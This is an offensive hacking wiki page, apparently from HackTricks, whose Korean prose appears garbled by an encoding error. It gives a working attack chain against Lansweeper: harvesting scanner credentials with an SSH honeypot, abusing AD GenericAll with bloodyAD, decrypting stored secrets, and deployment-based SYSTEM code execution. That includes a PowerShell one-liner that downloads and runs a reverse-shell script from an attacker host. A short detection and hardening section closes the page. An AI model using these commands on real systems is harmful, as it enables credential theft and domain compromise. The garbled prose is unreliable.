Lansweeper ๋จ์ฉ: ์๊ฒฉ ์ฆ๋ช ์์ง, ๋น๋ฐ ๋ณตํธํ ๋ฐ Deployment RCE
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
Lansweeper๋ ์ผ๋ฐ์ ์ผ๋ก Windows์ ๋ฐฐํฌ๋๊ณ Active Directory์ ํตํฉ๋๋ IT ์์ฐ ๊ฒ์ ๋ฐ ์ธ๋ฒคํ ๋ฆฌ ํ๋ซํผ์ ๋๋ค. Lansweeper์ ๊ตฌ์ฑ๋ ์๊ฒฉ ์ฆ๋ช ์ ์ค์บ๋ ์์ง์ด SSH, SMB/WMI, WinRM๊ณผ ๊ฐ์ ํ๋กํ ์ฝ์ ํตํด ์์ฐ์ ์ธ์ฆํ๋ ๋ฐ ์ฌ์ฉ๋ฉ๋๋ค. ์๋ชป๋ ๊ตฌ์ฑ์ผ๋ก ์ธํด ์์ฃผ ๋ฐ์ํ๋ ๋ฌธ์ ๋ ๋ค์๊ณผ ๊ฐ์ต๋๋ค:
- ์ค์บ๋ ๋์์ ๊ณต๊ฒฉ์ ์ ์ด ํธ์คํธ(honeypot)๋ก ๋ฆฌ๋๋ ์ ํ์ฌ ์๊ฒฉ ์ฆ๋ช ๊ฐ๋ก์ฑ๊ธฐ
- Lansweeper ๊ด๋ จ ๊ทธ๋ฃน์ด ๋ ธ์ถํ AD ACL์ ์ ์ฉํด ์๊ฒฉ ์ก์ธ์ค ํ๋
- ํธ์คํธ์์ Lansweeper์ ๊ตฌ์ฑ๋ ๋น๋ฐ(์ฐ๊ฒฐ ๋ฌธ์์ด ๋ฐ ์ ์ฅ๋ ์ค์บ๋ ์๊ฒฉ ์ฆ๋ช ) ๋ณตํธํ
- Deployment ๊ธฐ๋ฅ์ ํตํด ๊ด๋ฆฌ๋๋ ์๋ํฌ์ธํธ์์ ์ฝ๋ ์คํ(์ข ์ข SYSTEM ๊ถํ์ผ๋ก ์คํ)
์ด ํ์ด์ง๋ ๊ณต๊ฒฉ ์ํ ์ ์ด๋ฌํ ๋์์ ์ ์ฉํ๊ธฐ ์ํ ์ค๋ฌด์ ์ํฌํ๋ก์ฐ์ ๋ช ๋ น์ด๋ฅผ ์์ฝํฉ๋๋ค.
1) honeypot์ ํตํ ์ค์บ๋ ์๊ฒฉ ์ฆ๋ช ์์ง (SSH ์)
์์ด๋์ด: ์์ ์ ํธ์คํธ๋ฅผ ๊ฐ๋ฆฌํค๋ Scanning Target์ ๋ง๋ค๊ณ ๊ธฐ์กด Scanning Credentials๋ฅผ ์ฌ๊ธฐ์ ๋งคํํฉ๋๋ค. ์ค์บ์ด ์คํ๋๋ฉด Lansweeper๋ ํด๋น ์๊ฒฉ ์ฆ๋ช ์ผ๋ก ์ธ์ฆ์ ์๋ํ๊ณ , ๋น์ ์ honeypot์ด ๊ทธ ์๊ฒฉ ์ฆ๋ช ์ ํฌ์ฐฉํฉ๋๋ค.
์ ์ฐจ ๊ฐ์ (web UI):
- Scanning โ Scanning Targets โ Add Scanning Target
- Type: IP Range (or Single IP) = your VPN IP
- Configure SSH port to something reachable (e.g., 2022 if 22 is blocked)
- Disable schedule and plan to trigger manually
- Scanning โ Scanning Credentials โ ensure Linux/SSH creds exist; map them to the new target (enable all as needed)
- Click โScan nowโ on the target
- Run an SSH honeypot and retrieve the attempted username/password
Example with sshesame:
# sshesame.conf
server:
listen_address: 10.10.14.79:2022
# Install and run
sudo apt install -y sshesame
sshesame --config sshesame.conf
# Expect client banner similar to RebexSSH and cleartext creds
# authentication for user "svc_inventory_lnx" with password "<password>" accepted
# connection with client version "SSH-2.0-RebexSSH_5.0.x" established
์บก์ฒํ creds๋ฅผ DC ์๋น์ค์ ๋ํด ๊ฒ์ฆ:
# SMB/LDAP/WinRM checks (NetExec)
netexec smb inventory.sweep.vl -u svc_inventory_lnx -p '<password>'
netexec ldap inventory.sweep.vl -u svc_inventory_lnx -p '<password>'
netexec winrm inventory.sweep.vl -u svc_inventory_lnx -p '<password>'
์ฐธ๊ณ
- scanner๋ฅผ ๋น์ ์ listener๋ก ์ ๋ํ ์ ์์ ๋ ๋ค๋ฅธ ํ๋กํ ์ฝ์์๋ ์ ์ฌํ๊ฒ ์๋ํฉ๋๋ค (SMB/WinRM honeypots, etc.). SSH๊ฐ ๋ณดํต ๊ฐ์ฅ ๊ฐ๋จํฉ๋๋ค.
- ๋ง์ scanners๋ ๊ณ ์ ํ client banners๋ก ์์ ์ ์๋ณํ๋ฉฐ (e.g., RebexSSH) uname, whoami ๋ฑ๊ณผ ๊ฐ์ ๋ฌดํดํ ๋ช ๋ น์ ์๋ํฉ๋๋ค.
2) AD ACL abuse: ์์ ์ app-admin ๊ทธ๋ฃน์ ์ถ๊ฐํ์ฌ ์๊ฒฉ ์ ๊ทผ ํ๋
์นจํด๋ ๊ณ์ ์์ effective rights๋ฅผ ์ด๊ฑฐํ๋ ค๋ฉด BloodHound๋ฅผ ์ฌ์ฉํ์ธ์. ํํ ๋ฐ๊ฒฌ ์ฌ๋ก๋ก๋ scanner- ๋๋ app-specific group (e.g., โLansweeper Discoveryโ)์ด privileged group (e.g., โLansweeper Adminsโ)์ ๋ํด GenericAll์ ๋ณด์ ํ๊ณ ์๋ ๊ฒฝ์ฐ์ ๋๋ค. ๋ง์ฝ ํด๋น privileged group์ด โRemote Management Usersโ์ ๋ฉค๋ฒ์ด๊ธฐ๋ ํ๋ฉด, ์ฐ๋ฆฌ๊ฐ ์์ ์ ์ถ๊ฐํ๋ฉด WinRM์ ์ด์ฉํ ์ ์๊ฒ ๋ฉ๋๋ค.
์์ง ์์:
# NetExec collection with LDAP
netexec ldap inventory.sweep.vl -u svc_inventory_lnx -p '<password>' --bloodhound -c All --dns-server <DC_IP>
# RustHound-CE collection (zip for BH CE import)
rusthound-ce --domain sweep.vl -u svc_inventory_lnx -p '<password>' -c All --zip
Exploit GenericAll์ ๊ทธ๋ฃน์ ๋ํด BloodyAD (Linux)๋ฅผ ์ฌ์ฉํ์ฌ:
# Add our user into the target group
bloodyAD --host inventory.sweep.vl -d sweep.vl -u svc_inventory_lnx -p '<password>' \
add groupMember "Lansweeper Admins" svc_inventory_lnx
# Confirm WinRM access if the group grants it
netexec winrm inventory.sweep.vl -u svc_inventory_lnx -p '<password>'
๊ทธ๋ฐ ๋ค์ interactive shell์ ์ป์ต๋๋ค:
evil-winrm -i inventory.sweep.vl -u svc_inventory_lnx -p '<password>'
ํ: Kerberos ์์ ์ ์๊ฐ์ ๋ฏผ๊ฐํฉ๋๋ค. KRB_AP_ERR_SKEW ์ค๋ฅ๊ฐ ๋ฐ์ํ๋ฉด ๋จผ์ DC์ ์๊ฐ์ ๋๊ธฐํํ์ธ์:
sudo ntpdate <dc-fqdn-or-ip> # or rdate -n <dc-ip>
3) ํธ์คํธ์์ Lansweeper์ ๊ตฌ์ฑ๋ ๋น๋ฐ ๋ณตํธํ
Lansweeper ์๋ฒ์์, ASP.NET ์ฌ์ดํธ๋ ์ผ๋ฐ์ ์ผ๋ก ์ ํ๋ฆฌ์ผ์ด์ ์์ ์ฌ์ฉํ๋ ์ํธํ๋ ์ฐ๊ฒฐ ๋ฌธ์์ด๊ณผ ๋์นญ ํค๋ฅผ ์ ์ฅํฉ๋๋ค. ์ ์ ํ ๋ก์ปฌ ์ก์ธ์ค ๊ถํ์ด ์์ผ๋ฉด DB ์ฐ๊ฒฐ ๋ฌธ์์ด์ ๋ณตํธํํ ๋ค์ ์ ์ฅ๋ ์ค์บ ์๊ฒฉ ์ฆ๋ช ์ ์ถ์ถํ ์ ์์ต๋๋ค.
Typical locations:
- ์น ๊ตฌ์ฑ ํ์ผ:
C:\Program Files (x86)\Lansweeper\Website\web.config <connectionStrings configProtectionProvider="DataProtectionConfigurationProvider">โฆ<EncryptedData>โฆ- ์ ํ๋ฆฌ์ผ์ด์
ํค:
C:\Program Files (x86)\Lansweeper\Key\Encryption.txt
Use SharpLansweeperDecrypt to automate decryption and dumping of stored creds:
# From a WinRM session or interactive shell on the Lansweeper host
# PowerShell variant
Upload-File .\LansweeperDecrypt.ps1 C:\ProgramData\LansweeperDecrypt.ps1 # depending on your shell
powershell -ExecutionPolicy Bypass -File C:\ProgramData\LansweeperDecrypt.ps1
# Tool will:
# - Decrypt connectionStrings from web.config
# - Connect to Lansweeper DB
# - Decrypt stored scanning credentials and print them in cleartext
์์ ์ถ๋ ฅ๋ฌผ์๋ DB ์ฐ๊ฒฐ ์ ๋ณด์ ์กฐ์ง ์ ์ญ์์ ์ฌ์ฉ๋๋ Windows ๋ฐ Linux ๊ณ์ ๊ณผ ๊ฐ์ ํ๋ฌธ ์ค์บ๋ ์๊ฒฉ์ฆ๋ช ์ด ํฌํจ๋ฉ๋๋ค. ์ด๋ฌํ ๊ณ์ ์ ๋๋ฉ์ธ ํธ์คํธ์์ ์ข ์ข ๋์ ๋ก์ปฌ ๊ถํ์ ๊ฐ์ง๋๋ค:
Inventory Windows SWEEP\svc_inventory_win <StrongPassword!>
Inventory Linux svc_inventory_lnx <StrongPassword!>
๋ณต๊ตฌ๋ Windows scanning creds๋ฅผ ์ฌ์ฉํ์ฌ ํน๊ถ ์ก์ธ์ค ํ๋:
netexec winrm inventory.sweep.vl -u svc_inventory_win -p '<StrongPassword!>'
# Typically local admin on the Lansweeper-managed host; often Administrators on DCs/servers
4) Lansweeper Deployment โ SYSTEM RCE
โAs a member of โLansweeper Adminsโ, the web UI exposes Deployment and Configuration. Under Deployment โ Deployment packages, you can create packages that run arbitrary commands on targeted assets. Execution is performed by the Lansweeper service with high privilege, yielding code execution as NT AUTHORITY\SYSTEM on the selected host.
์ฃผ์ ๋จ๊ณ:
- ์ Deployment package๋ฅผ ์์ฑํ์ฌ PowerShell ๋๋ cmd one-liner๋ฅผ ์คํํ๋ค (reverse shell, add-user ๋ฑ).
- ์ํ๋ ์์ฐ(์: Lansweeper๊ฐ ์คํ๋๋ DC/host)์ ๋์์ผ๋ก ์ค์ ํ๊ณ Deploy/Run now๋ฅผ ํด๋ฆญํ๋ค.
- SYSTEM ๊ถํ์ผ๋ก ์์ ํ๋ํ๋ค.
Example payloads (PowerShell):
# Simple test
powershell -nop -w hidden -c "whoami > C:\Windows\Temp\ls_whoami.txt"
# Reverse shell example (adapt to your listener)
powershell -nop -w hidden -c "IEX(New-Object Net.WebClient).DownloadString('http://<attacker>/rs.ps1')"
OPSEC
- ๋ฐฐํฌ ์์ ์ ์์์ด ํฌ๊ณ Lansweeper ๋ฐ Windows ์ด๋ฒคํธ ๋ก๊ทธ์ ๊ธฐ๋ก์ ๋จ๊น๋๋ค. ์ ์คํ ์ฌ์ฉํ์ธ์.
ํ์ง ๋ฐ ๋ณด์ ๊ฐํ
- ์ต๋ช SMB ์ด๊ฑฐ๋ฅผ ์ ํํ๊ฑฐ๋ ์ ๊ฑฐํ์ธ์. RID ์ํ ๋ฐ Lansweeper ๊ณต์ ์ ๋ํ ๋น์ ์์ ์ธ ์ ๊ทผ์ ๋ชจ๋ํฐ๋งํ์ธ์.
- ์์๋ฐ์ด๋ ์ ์ด: ์ค์บ๋ ํธ์คํธ์์์ SSH/SMB/WinRM ์์๋ฐ์ด๋๋ฅผ ์ฐจ๋จํ๊ฑฐ๋ ์๊ฒฉํ ์ ํํ์ธ์. ๋นํ์ค ํฌํธ(์: 2022) ๋ฐ Rebex ๊ฐ์ ๋น์ ์์ ํด๋ผ์ด์ธํธ ๋ฐฐ๋์ ๋ํด ๊ฒฝ๋ณด๋ฅผ ์ค์ ํ์ธ์.
Website\\web.config๋ฐKey\\Encryption.txt์(๋ฅผ) ๋ณดํธํ์ธ์. ๋น๋ฐ์ vault๋ก ์ธ๋ถํํ๊ณ ๋ ธ์ถ ์ ๊ต์ฒดํ์ธ์. ๊ฐ๋ฅํ ๊ฒฝ์ฐ ์ต์ ๊ถํ ์๋น์ค ๊ณ์ ๊ณผ gMSA ์ฌ์ฉ์ ๊ณ ๋ คํ์ธ์.- AD ๋ชจ๋ํฐ๋ง: Lansweeper ๊ด๋ จ ๊ทธ๋ฃน(์: โLansweeper Adminsโ, โRemote Management Usersโ) ๋ณ๊ฒฝ ๋ฐ ๊ถํ ๊ทธ๋ฃน์ ๋ํด GenericAll/Write ๋ฉค๋ฒ์ญ์ ๋ถ์ฌํ๋ ACL ๋ณ๊ฒฝ์ ๋ํด ๊ฒฝ๋ณด๋ฅผ ๋ฐ์์ํค์ธ์.
- ๋ฐฐํฌ ํจํค์ง ์์ฑ/๋ณ๊ฒฝ/์คํ์ ๊ฐ์ํ์ธ์; cmd.exe/powershell.exe๋ฅผ ์คํํ๊ฑฐ๋ ์์์น ๋ชปํ ์์๋ฐ์ด๋ ์ฐ๊ฒฐ์ ์์ฑํ๋ ํจํค์ง์ ๋ํด ๊ฒฝ๋ณด๋ฅผ ์ค์ ํ์ธ์.
๊ด๋ จ ์ฃผ์
- SMB/LSA/SAMR ์ด๊ฑฐ ๋ฐ RID ์ํ
- Kerberos ํจ์ค์๋ ์คํ๋ ์ด ๋ฐ ์๊ณ ์ค์ฐจ ๊ณ ๋ ค์ฌํญ
- ์ ํ๋ฆฌ์ผ์ด์ -๊ด๋ฆฌ์ ๊ทธ๋ฃน์ ๋ํ BloodHound ๊ฒฝ๋ก ๋ถ์
- WinRM ์ฌ์ฉ ๋ฐ ํก์ ์ด๋
References
- HTB: Sweep โ Abusing Lansweeper Scanning, AD ACLs, and Secrets to Own a DC (0xdf)
- sshesame (SSH honeypot)
- SharpLansweeperDecrypt
- BloodyAD
- BloodHound CE
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.


